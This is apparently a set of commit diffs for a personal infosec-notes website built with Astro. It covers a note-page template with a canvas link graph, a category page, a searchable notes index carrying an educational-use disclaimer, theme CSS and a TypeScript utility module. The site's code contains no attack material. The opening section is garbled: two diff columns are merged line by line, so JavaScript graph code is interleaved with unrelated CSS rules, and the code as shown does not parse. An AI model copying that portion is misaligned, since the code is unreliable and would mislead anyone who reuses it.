<div class="border-b border-base-300/40"> .note-content h3:not(.link-card h3),
<p class="font-mono text-[10px] text-base-content/25 uppercase tracking-widest px-3 pt-3 pb-2">graph</p> .note-content h4:not(.link-card h4) {
<canvas display: flex !important;
id="note-graph" align-items: center;
height="190" flex-wrap: wrap;
style="width:100%; display:block; background: oklch(2% 0 0); cursor:default;" gap: 0;
></canvas>
{graphNodes.length <= 1 && (
<p class="font-mono text-[9px] text-base-content/20 text-center py-2">no connections yet</p>
)}
</div>
{forwardLinks.length > 0 && (
<div class="p-3 border-b border-base-300/40">
<p class="font-mono text-[10px] text-base-content/25 uppercase tracking-widest mb-2">links</p>
<ul class="space-y-1">
{forwardLinks.map((n) => (
<li>
<a href={`/notes/${n.id}`}
class="font-mono text-xs text-base-content/45 hover:text-primary/80 transition-colors block truncate">
→ {n.data.title}
</a>
</li>
))}
</ul>
</div>
)}
{backlinks.length > 0 && (
<div class="p-3">
<p class="font-mono text-[10px] text-base-content/25 uppercase tracking-widest mb-2">backlinks</p>
<ul class="space-y-1">
{backlinks.map((n) => (
<li>
<a href={`/notes/${n.id}`}
class="font-mono text-xs text-base-content/45 hover:text-primary/80 transition-colors block truncate">
← {n.data.title}
</a>
</li>
))}
</ul>
</div>
)}
{forwardLinks.length === 0 && backlinks.length === 0 && (
<div class="p-3">
<p class="font-mono text-[9px] text-base-content/20">no linked notes</p>
</div>
)}
</aside>
</div>
</div>
<script is:inline define:vars={{ graphNodes, graphEdges }}>
window.__graphNodes = graphNodes;
window.__graphEdges = graphEdges;
</script>
<script>
const PRIMARY = "oklch(71% 0.0863 296.59)";
type GNode = { id: string; title: string; current: boolean; x: number; y: number; vx: number; vy: number };
type GEdge = { from: string; to: string };
let stopGraph: (() => void) | null = null;
function startGraph(): (() => void) | null {
const w = window as typeof window & { __graphNodes?: { id: string; title: string; current: boolean }[]; __graphEdges?: GEdge[] };
const graphNodes = w.__graphNodes ?? [];
const graphEdges: GEdge[] = w.__graphEdges ?? [];
const canvas = document.getElementById("note-graph") as HTMLCanvasElement | null;
if (!canvas || graphNodes.length === 0) return null;
const W = canvas.width = canvas.offsetWidth;
const H = canvas.height = 190;
const ctx = canvas.getContext("2d")!;
const nodes: GNode[] = graphNodes.map((n) => ({
...n,
x: n.current ? W / 2 : W / 2 + (Math.random() - 0.5) * 80,
y: n.current ? H / 2 : H / 2 + (Math.random() - 0.5) * 80,
vx: 0,
vy: 0,
}));
let dragging: GNode | null = null;
let hovered: GNode | null = null;
function nodeAt(x: number, y: number): GNode | null {
return nodes.find((n) => {
const dx = n.x - x, dy = n.y - y;
return Math.sqrt(dx * dx + dy * dy) < (n.current ? 10 : 8);
}) ?? null;
}
function tick() {
for (let i = 0; i < nodes.length; i++) {
for (let j = i + 1; j < nodes.length; j++) {
const a = nodes[i], b = nodes[j];
const dx = b.x - a.x, dy = b.y - a.y;
const d = Math.sqrt(dx * dx + dy * dy) || 1;
const f = 900 / (d * d);
a.vx -= (dx / d) * f; a.vy -= (dy / d) * f;
b.vx += (dx / d) * f; b.vy += (dy / d) * f;
}
} }
for (const e of graphEdges) { .heading-anchor {
const a = nodes.find((n: GNode) => n.id === e.from); display: inline-flex;
const b = nodes.find((n: GNode) => n.id === e.to); align-items: center;
if (!a || !b) continue; flex-shrink: 0;
const dx = b.x - a.x, dy = b.y - a.y; margin-left: 0.4em;
const d = Math.sqrt(dx * dx + dy * dy) || 1; color: oklch(38% 0 0);
const f = (d - 75) * 0.04; opacity: 0;
a.vx += (dx / d) * f; a.vy += (dy / d) * f; transition: opacity 120ms, color 120ms;
b.vx -= (dx / d) * f; b.vy -= (dy / d) * f; text-decoration: none;
} }
for (const n of nodes) { .note-content h2:hover .heading-anchor,
n.vx += (W / 2 - n.x) * 0.025; .note-content h3:hover .heading-anchor,
n.vy += (H / 2 - n.y) * 0.025; .note-content h4:hover .heading-anchor { opacity: 1; }
} .heading-anchor:hover, .heading-anchor.copied { color: oklch(71% 0.0863 296.59); opacity: 1; }
for (const n of nodes) { `;
if (n === dragging) continue; document.head.appendChild(s);
n.vx *= 0.78; n.vy *= 0.78;
n.x = Math.max(16, Math.min(W - 16, n.x + n.vx));
n.y = Math.max(16, Math.min(H - 16, n.y + n.vy));
}
}
function draw() {
ctx.clearRect(0, 0, W, H);
ctx.fillStyle = "oklch(2% 0 0)";
ctx.fillRect(0, 0, W, H);
const connected = new Set();
if (hovered) {
for (const e of graphEdges) {
if (e.from === hovered.id) connected.add(e.to);
if (e.to === hovered.id) connected.add(e.from);
}
}
for (const e of graphEdges) {
const a = nodes.find((n: GNode) => n.id === e.from);
const b = nodes.find((n: GNode) => n.id === e.to);
if (!a || !b) continue;
const lit = hovered && (e.from === hovered.id || e.to === hovered.id);
ctx.beginPath();
ctx.moveTo(a.x, a.y);
ctx.lineTo(b.x, b.y);
ctx.strokeStyle = lit ? "oklch(55% 0 0)" : "oklch(27% 0 0)";
ctx.lineWidth = lit ? 1.5 : 1;
ctx.stroke();
}
for (const n of nodes) {
const isHov = hovered?.id === n.id;
const isCon = connected.has(n.id);
const r = n.current ? 7 : isHov ? 6 : 4.5;
if (isHov && !n.current) {
ctx.beginPath();
ctx.arc(n.x, n.y, r + 5, 0, Math.PI * 2);
ctx.fillStyle = "oklch(71% 0.0863 296.59 / 0.15)";
ctx.fill();
}
ctx.beginPath();
ctx.arc(n.x, n.y, r, 0, Math.PI * 2);
ctx.fillStyle = n.current
? PRIMARY
: isHov ? "oklch(78% 0.05 296.59)"
: isCon ? "oklch(58% 0.03 296.59)"
: "oklch(40% 0 0)";
ctx.fill();
if (n.current || isHov || isCon) {
ctx.font = `${n.current ? "10px" : "9px"} monospace`;
ctx.textAlign = "center";
ctx.fillStyle = n.current ? "oklch(87% 0 0)" : "oklch(62% 0 0)";
const label = n.title.length > 14 ? n.title.slice(0, 13) + "…" : n.title;
ctx.fillText(label, n.x, n.y + r + 9);
}
}
}
let animId: number;
function loop() { tick(); draw(); animId = requestAnimationFrame(loop); }
animId = requestAnimationFrame(loop);
canvas.addEventListener("mousedown", (e) => {
const r = canvas.getBoundingClientRect();
const sx = W / canvas.offsetWidth;
dragging = nodeAt((e.clientX - r.left) * sx, (e.clientY - r.top) * (H / canvas.offsetHeight));
});
canvas.addEventListener("mousemove", (e) => {
const r = canvas.getBoundingClientRect();
const sx = W / canvas.offsetWidth;
const x = (e.clientX - r.left) * sx;
const y = (e.clientY - r.top) * (H / canvas.offsetHeight);
if (dragging) { dragging.x = x; dragging.y = y; dragging.vx = 0; dragging.vy = 0; }
hovered = nodeAt(x, y);
canvas.style.cursor = hovered && !hovered.current ? "pointer" : "default";
});
canvas.addEventListener("mouseup", () => { dragging = null; });
canvas.addEventListener("mouseleave", () => { dragging = null; hovered = null; });
canvas.addEventListener("click", (e) => {
const r = canvas.getBoundingClientRect();
const sx = W / canvas.offsetWidth;
const n = nodeAt((e.clientX - r.left) * sx, (e.clientY - r.top) * (H / canvas.offsetHeight));
if (n && !n.current) window.location.href = `/notes/${n.id}`;
});
return () => cancelAnimationFrame(animId);
} }
function init() { document
if (stopGraph) { stopGraph(); stopGraph = null; } .querySelectorAll(".note-content h2, .note-content h3, .note-content h4")
.forEach((heading) => {
const graphDrawer = document.getElementById("graph-drawer") as HTMLInputElement | null;
if (!graphDrawer) return;
function onGraphDrawerChange() {
if (graphDrawer!.checked) {
requestAnimationFrame(() => { stopGraph = startGraph() ?? null; });
} else {
if (stopGraph) { stopGraph(); stopGraph = null; }
}
}
graphDrawer.addEventListener("change", onGraphDrawerChange);
const xlQuery = window.matchMedia("(min-width: 1280px)");
if (xlQuery.matches && !graphDrawer.checked) {
graphDrawer.checked = true;
onGraphDrawerChange();
}
xlQuery.addEventListener("change", (e) => {
if (!e.matches && graphDrawer.checked) {
graphDrawer.checked = false;
if (stopGraph) { stopGraph(); stopGraph = null; }
}
});
if (!document.getElementById("heading-anchor-styles")) {
const s = document.createElement("style");
s.id = "heading-anchor-styles";
s.textContent = `
.note-content h2, .note-content h3, .note-content h4 {
display: flex !important;
align-items: center;
flex-wrap: wrap;
gap: 0;
}
.heading-anchor {
display: inline-flex;
align-items: center;
flex-shrink: 0;
margin-left: 0.4em;
color: oklch(38% 0 0);
opacity: 0;
transition: opacity 120ms, color 120ms;
text-decoration: none;
}
.note-content h2:hover .heading-anchor,
.note-content h3:hover .heading-anchor,
.note-content h4:hover .heading-anchor { opacity: 1; }
.heading-anchor:hover, .heading-anchor.copied { color: oklch(71% 0.0863 296.59); opacity: 1; }
`;
document.head.appendChild(s);
}
document.querySelectorAll(".note-content h2, .note-content h3, .note-content h4").forEach((heading) => {
if (!heading.id || heading.querySelector(".heading-anchor")) return; if (!heading.id || heading.querySelector(".heading-anchor")) return;
const anchor = document.createElement("a"); const anchor = document.createElement("a");
anchor.href = `#${heading.id}`; anchor.href = `#${heading.id}`;
@@ -528,26 +293,9 @@ while ((hm = headingRe.exec(entry.body ?? "")) !== null) {
}); });
heading.appendChild(anchor); heading.appendChild(anchor);
}); });
}
const navItems = document.querySelectorAll<HTMLElement>(".nav-item"); document.addEventListener("astro:page-load", () => {
document.querySelectorAll<HTMLInputElement>("[data-search]").forEach((input) => { injectHeadingAnchors();
input.addEventListener("input", (e) => { });
const target = e.target as HTMLInputElement; </script>
const search = target.value.toLowerCase().trim();
document.querySelectorAll<HTMLInputElement>("[data-search]").forEach((o) => {
if (o !== target) o.value = target.value;
});
navItems.forEach((item) => {
const match = !search || (item.dataset.title ?? "").includes(search) || (item.dataset.tags ?? "").includes(search);
item.style.display = match ? "" : "none";
});
});
});
}
document.addEventListener("astro:page-load", init);
document.addEventListener("astro:before-preparation", () => {
if (stopGraph) { stopGraph(); stopGraph = null; }
});
</script>
</Layout>
+176
View File
@@ -0,0 +1,176 @@
---
import { getCollection } from "astro:content";
import Layout from "../../layouts/Layout.astro";
import NoteNavSidebar from "../../components/NoteNavSidebar.astro";
import { getCategory } from "../../utils/notes";
import { List } from "@lucide/astro";
export async function getStaticPaths() {
const notes = await getCollection("notes");
const folderCategories = [
...new Set(
notes.filter((n) => n.id.includes("/")).map((n) => getCategory(n)),
),
];
return folderCategories.map((category) => {
const allNotes = notes.sort((a, b) =>
a.data.title.localeCompare(b.data.title),
);
const categories = [...new Set(notes.map(getCategory))].sort();
return {
params: { category },
props: {
category,
categoryNotes: notes
.filter((n) => getCategory(n) === category)
.sort((a, b) => a.data.title.localeCompare(b.data.title)),
allNotes,
categories,
},
};
});
}
const { category, categoryNotes, allNotes, categories } = Astro.props;
if (!categoryNotes) {
return new Response(null, { status: 404, statusText: "Not found" });
}
---
<style>
@media (min-width: 768px) {
.drawer.md\:drawer-open > .drawer-side {
top: 3rem;
height: calc(100vh - 3rem);
}
}
</style>
<Layout
title={`${category} - Infosec Notes`}
description={`Notes on ${category}.`}
>
<main class="max-w-screen-2xl mx-auto">
<div class="drawer md:drawer-open min-h-[calc(100vh-3rem)]">
<input id="nav-drawer" type="checkbox" class="drawer-toggle" />
<div class="drawer-content flex flex-col min-w-0">
<main class="flex-1 px-4 sm:px-6 lg:px-10 py-6 lg:py-10 min-w-0">
<div class="max-w-3xl mx-auto lg:mx-0">
<div class="flex items-center justify-between mb-10">
<div
class="breadcrumbs text-xs font-mono text-base-content/35 p-0"
>
<ul>
<li>
<a href="/notes" class="hover:text-base-content/70">notes</a
>
</li>
<li class="text-base-content/60">{category}</li>
</ul>
</div>
<label
for="nav-drawer"
class="btn btn-ghost btn-xs md:hidden font-mono text-base-content/40 hover:text-base-content/70 border border-base-300/50"
>
<List size={11} />
nav
</label>
</div>
<div class="mb-10">
<div class="flex items-baseline gap-3 mb-1">
<h1 class="text-4xl sm:text-5xl font-bold">
<span class="text-primary/40 font-mono mr-1">/</span>{
category
}
</h1>
</div>
<p class="font-mono text-xs text-base-content/25 ml-8">
{categoryNotes.length} note{
categoryNotes.length !== 1 ? "s" : ""
}
</p>
</div>
<div class="border-t border-base-300/40 mb-1"></div>
<ul class="divide-y divide-base-300/20">
{
categoryNotes.map((note) => (
<li>
<a
href={`/notes/${note.id}`}
class="group flex items-center gap-4 py-3 hover:bg-base-200/30 px-2 -mx-2 transition-colors"
>
<div class="flex-1 min-w-0">
<div class="flex flex-col mb-0.5">
<span class="font-semibold text-sm group-hover:text-primary transition-colors">
{note.data.title}
</span>
{note.data.description && (
<span class="text-xs text-base-content/35 truncate">
{note.data.description}
</span>
)}
</div>
{note.data.tags.length > 0 && (
<div class="flex flex-wrap gap-1 mt-1">
{note.data.tags.map((tag) => (
<span class="badge badge-ghost badge-xs font-mono text-base-content/30">
{tag}
</span>
))}
</div>
)}
</div>
<svg
xmlns="http://www.w3.org/2000/svg"
width="14"
height="14"
viewBox="0 0 24 24"
fill="none"
stroke="currentColor"
stroke-width="2"
stroke-linecap="round"
stroke-linejoin="round"
class="text-base-content/20 group-hover:text-primary/50 shrink-0 transition-colors"
>
<path d="m9 18 6-6-6-6" />
</svg>
</a>
</li>
))
}
</ul>
<div
class="border-t border-base-300/30 mt-12 pt-6 flex items-center justify-between font-mono text-[10px] text-base-content/25"
>
<a
href="/notes"
class="hover:text-base-content/50 transition-colors"
>
← all notes
</a>
<a href="/" class="hover:text-base-content/50 transition-colors">
~/hadi
</a>
</div>
</div>
</main>
</div>
<div class="drawer-side z-[70]">
<label for="nav-drawer" aria-label="close sidebar" class="drawer-overlay"></label>
<NoteNavSidebar
notes={allNotes}
currentCategory={category}
categories={categories}
/>
</div>
</div>
</main>
</Layout>
+26 -155
View File
@@ -1,173 +1,44 @@
--- ---
import Layout from "../../layouts/Layout.astro"; import Layout from "../../layouts/Layout.astro";
import { getCollection } from "astro:content"; import { getCollection } from "astro:content";
import { ChevronRight, Shield } from "@lucide/astro"; import { getCategory } from "../../utils/notes";
import NotesSearch from "../../components/NotesSearch.svelte";
const notes = await getCollection("notes"); const notes = await getCollection("notes");
const sortedNotes = notes.sort( const sortedNotes = notes.sort(
(a, b) => b.data.publishDate.getTime() - a.data.publishDate.getTime() (a, b) => b.data.publishDate.getTime() - a.data.publishDate.getTime(),
); );
const categories = [...new Set(notes.map((n) => n.data.category))].sort(); const searchNotes = sortedNotes.map((n) => ({
id: n.id,
const searchIndex = Object.fromEntries( title: n.data.title,
sortedNotes.map((n) => [ description: n.data.description,
n.id, tags: n.data.tags,
[n.data.title, n.data.description, n.body ?? ""].join(" ").toLowerCase(), category: getCategory(n),
]) searchText: [n.data.title, n.data.description, n.body ?? ""]
); .join(" ")
.toLowerCase(),
}));
--- ---
<Layout <Layout
title="Security Notes Another Hadi" title="Infosec Notes - Another Hadi"
description="Reference notes on cybersecurity tools and techniques." description="Cheatsheets on cybersecurity tools and techniques."
> >
<main class="max-w-4xl mx-auto px-4 py-16 sm:py-20"> <main class="max-w-4xl mx-auto px-4 py-16 sm:py-20">
<div class="text-center mb-12">
<div class="text-center mb-12"> <h1 class="text-4xl sm:text-5xl font-bold mb-4">Infosec Notes</h1>
<div class="flex items-center justify-center gap-2 mb-4"> <p class="text-xl text-base-content/70">
<Shield size={20} class="text-primary/60" /> Cheat sheets on cybersecurity tools and techniques.
<span class="font-mono text-xs text-primary/60 tracking-widest uppercase">security notes</span>
</div>
<h1 class="text-4xl sm:text-5xl font-bold mb-4">Notes</h1>
<p class="text-base-content/50 max-w-md mx-auto">
Reference sheets on cybersecurity tools and techniques.
</p> </p>
</div> </div>
<div
<div class="mb-12 max-w-sm mx-auto"> class="text-xs font-mono text-base-content/25 border border-base-300/30 rounded-box px-4 py-3 mb-10 max-w-xl mx-auto text-center leading-relaxed"
<div class="flex items-center gap-2 border border-base-300/60 px-3 py-2 bg-base-200/30 focus-within:border-primary/40 transition-colors"> >
<span class="font-mono text-sm text-base-content/25"></span> All content is intended for educational purposes, CTF challenges, and
<input authorized penetration testing only. Do not use any of this against
data-search systems you do not own or have explicit permission to test.
type="text"
placeholder="search or #tag..."
class="bg-transparent font-mono text-sm text-base-content/70 placeholder:text-base-content/25 outline-none w-full"
/>
</div>
<p class="font-mono text-[10px] text-base-content/20 mt-1.5 text-center">
use #tag to filter by tag
</p>
</div> </div>
<NotesSearch client:load notes={searchNotes} />
<div id="notes-container" class="space-y-12">
{
categories.map((cat) => {
const catNotes = sortedNotes.filter((n) => n.data.category === cat);
return (
<section data-category={cat.toLowerCase()}>
<div class="flex items-baseline gap-3 mb-4">
<h2 class="text-xl font-bold tracking-tight">
<span class="text-primary/50 font-mono mr-1">/</span>{cat}
</h2>
<span class="font-mono text-xs text-base-content/25">
{catNotes.length} note{catNotes.length !== 1 ? "s" : ""}
</span>
</div>
<div class="border-t border-base-300/40 mb-1" />
<ul class="divide-y divide-base-300/20">
{catNotes.map((n) => (
<li>
<a
href={`/notes/${n.id}`}
class="note-card group flex items-center gap-4 py-3 hover:bg-base-200/30 px-2 -mx-2 transition-colors"
data-id={n.id}
data-tags={n.data.tags.join(",")}
>
<div class="flex-1 min-w-0">
<div class="flex items-baseline gap-3 mb-0.5">
<span class="font-semibold text-sm group-hover:text-primary transition-colors">
{n.data.title}
</span>
<span class="hidden sm:block text-xs text-base-content/35 truncate">
{n.data.description}
</span>
</div>
{n.data.tags.length > 0 && (
<div class="flex flex-wrap gap-1 mt-1">
{n.data.tags.map((tag) => (
<span class="font-mono text-[10px] px-1.5 py-0.5 border border-base-300/40 text-base-content/25">
{tag}
</span>
))}
</div>
)}
</div>
<ChevronRight
size={14}
class="text-base-content/20 group-hover:text-primary/50 shrink-0 transition-colors"
/>
</a>
</li>
))}
</ul>
</section>
);
})
}
</div>
<div id="empty-state" class="hidden text-center py-20 font-mono text-sm text-base-content/25">
no results.
</div>
<p class="text-center font-mono text-xs text-base-content/20 mt-16">
<span id="note-count">{notes.length}</span> note{notes.length !== 1 ? "s" : ""} total
</p>
</main> </main>
<script is:inline define:vars={{ searchIndex }}>
function init() {
const noteCards = document.querySelectorAll(".note-card");
const sections = document.querySelectorAll("[data-category]");
const emptyState = document.getElementById("empty-state");
const noteCount = document.getElementById("note-count");
const container = document.getElementById("notes-container");
function filter(raw) {
const isTag = raw.startsWith("#");
const query = isTag ? raw.slice(1) : raw;
let visible = 0;
noteCards.forEach((card) => {
const id = card.dataset.id ?? "";
const tags = card.dataset.tags ? card.dataset.tags.split(",") : [];
const show = !query || (
isTag
? tags.some((t) => t.includes(query))
: (searchIndex[id] ?? "").includes(query)
);
card.style.display = show ? "" : "none";
if (show) visible++;
});
sections.forEach((section) => {
const anyVisible = [...section.querySelectorAll(".note-card")].some(
(c) => c.style.display !== "none"
);
section.style.display = anyVisible ? "" : "none";
});
noteCount.textContent = String(visible);
container.style.display = visible > 0 ? "" : "none";
emptyState.classList.toggle("hidden", visible > 0);
}
document.querySelectorAll("[data-search]").forEach((input) => {
input.addEventListener("input", (e) => {
filter(e.target.value.toLowerCase().trim());
});
});
const urlTag = new URLSearchParams(window.location.search).get("tag");
if (urlTag) {
document.querySelectorAll("[data-search]").forEach((i) => { i.value = `#${urlTag}`; });
filter(`#${urlTag}`);
}
}
document.addEventListener("astro:page-load", init);
</script>
</Layout> </Layout>
+1 -1
View File
@@ -36,7 +36,7 @@ import repos from "../../data/repos.json";
) : ( ) : (
<div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-8"> <div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-8">
{repos.map((repo) => ( {repos.map((repo) => (
<GiteaProjectCard repo={repo} /> <GiteaProjectCard displayBanner={true} repo={repo} />
))} ))}
</div> </div>
) )
+68 -3
View File
@@ -26,9 +26,9 @@
--color-warning-content: oklch(19.359% 0.042 109.769); --color-warning-content: oklch(19.359% 0.042 109.769);
--color-error: oklch(62.795% 0.257 29.233); --color-error: oklch(62.795% 0.257 29.233);
--color-error-content: oklch(12.559% 0.051 29.233); --color-error-content: oklch(12.559% 0.051 29.233);
--radius-selector: 0rem; --radius-selector: 0.25rem;
--radius-field: 0rem; --radius-field: 0.25rem;
--radius-box: 0rem; --radius-box: 0.5rem;
--size-selector: 0.25rem; --size-selector: 0.25rem;
--size-field: 0.25rem; --size-field: 0.25rem;
--border: 1px; --border: 1px;
@@ -36,6 +36,71 @@
--noise: 0; --noise: 0;
} }
.drawer-side > aside > astro-island {
display: flex;
flex-direction: column;
flex: 1;
min-height: 0;
}
.btn:not(.btn-circle):not(.btn-square) { .btn:not(.btn-circle):not(.btn-square) {
@apply rounded-lg; @apply rounded-lg;
} }
@layer components {
.link-card {
display: flex;
align-items: center;
padding: 0 0.875rem;
border-radius: var(--radius-box);
border: 1px solid oklch(24% 0 0);
background: transparent;
color: var(--color-base-content);
text-decoration: none !important;
transition:
background 0.15s ease,
border-color 0.15s ease;
margin-block: 0.25rem;
}
.link-card::after {
content: "↗";
margin-left: auto;
padding-left: 0.75rem;
opacity: 0;
color: var(--color-primary);
font-size: 0.75rem;
transition:
opacity 0.15s ease,
transform 0.15s ease;
transform: translate(-4px, 4px);
flex-shrink: 0;
}
.link-card:hover {
background: var(--color-base-200);
border-color: var(--color-primary);
}
.link-card:hover::after {
opacity: 1;
transform: translate(0, 0);
}
.link-card span {
display: flex;
flex-direction: column;
}
.link-card h4 {
font-size: 0.85rem;
font-weight: 600;
margin: 0;
line-height: 1;
transition: color 0.15s ease;
}
.link-card:hover h4 {
color: var(--color-primary);
}
.link-card p {
font-size: 0.75rem;
margin: 0;
line-height: 1;
color: oklch(52% 0 0);
}
}
+80
View File
@@ -0,0 +1,80 @@
export function getCategory(n: {
id: string;
data: { category?: string };
}): string {
if (n.data.category) return n.data.category;
const parts = n.id.split("/");
return parts.length > 1 ? parts[0] : "General";
}
function slugify(text: string): string {
return text
.toLowerCase()
.replace(/[^\p{L}\p{N}\s_-]/gu, "")
.trim()
.replace(/ +/g, "-");
}
export function extractExternalLinks(body: string): { url: string; label: string }[] {
const seen = new Set<string>();
const links: { url: string; label: string }[] = [];
// Markdown: [label](https://...)
const mdRe = /\[([^\]]+)\]\((https?:\/\/[^)]+)\)/g;
let m;
while ((m = mdRe.exec(body)) !== null) {
if (!seen.has(m[2])) {
seen.add(m[2]);
links.push({ url: m[2], label: m[1] });
}
}
// HTML: <a href="https://...">...</a> — use h4 content as label if present, else href host
const htmlRe = /<a\s[^>]*href="(https?:\/\/[^"]+)"[^>]*>([\s\S]*?)<\/a>/g;
while ((m = htmlRe.exec(body)) !== null) {
const url = m[1];
if (seen.has(url)) continue;
seen.add(url);
const h4 = m[2].match(/<h4[^>]*>([\s\S]*?)<\/h4>/);
const label = h4 ? h4[1].trim() : new URL(url).hostname;
links.push({ url, label });
}
return links;
}
export function extractLinks(body: string): string[] {
const re = /\(\/notes\/([^)#\s]+)(?:#[^)\s]*)?\)/g;
const ids: string[] = [];
let m;
while ((m = re.exec(body)) !== null) ids.push(m[1]);
return [...new Set(ids)];
}
export function formatDate(date: Date): string {
return date.toLocaleDateString("en-US", {
month: "long",
day: "numeric",
year: "numeric",
});
}
export function extractHeadings(
body: string,
): { depth: number; text: string; id: string }[] {
const headings: { depth: number; text: string; id: string }[] = [];
const re = /^(#{2,4}) (.+)$/gm;
let m;
while ((m = re.exec(body)) !== null) {
const raw = m[2]
.trim()
.replace(/`[^`]*`/g, "")
.replace(/\*\*(.*?)\*\*/g, "$1")
.replace(/(?<!\p{L}\p{N})__(.*?)__(?!\p{L}\p{N})/gu, "$1")
.replace(/\*(.*?)\*/g, "$1")
.replace(/(?<!\p{L}\p{N})_(.*?)_(?!\p{L}\p{N})/gu, "$1")
.replace(/[*]/g, "");
headings.push({ depth: m[1].length, text: raw, id: slugify(raw) });
}
return headings;
}